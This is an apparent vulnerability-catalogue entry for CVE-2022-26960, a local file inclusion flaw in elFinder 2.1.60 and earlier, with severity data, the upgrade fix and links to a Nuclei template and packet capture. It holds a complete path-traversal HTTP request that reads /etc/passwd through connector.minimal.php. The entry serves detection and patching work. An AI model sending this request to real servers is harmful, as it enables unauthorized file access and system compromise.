| Title | elFinder <=2.1.60 - Local File Inclusion |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system. |
| Remediation | Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability. |
| CVSS Score | 9.1 |
| EPSS Score | 0.79151 |
| CVE ID | CVE-2022-26960 |
| CWE ID | CWE-22 |
| Tags | cve2022 cve lfi elfinder std42 vuln |
elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26960.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-26960.pcap
N/AN/A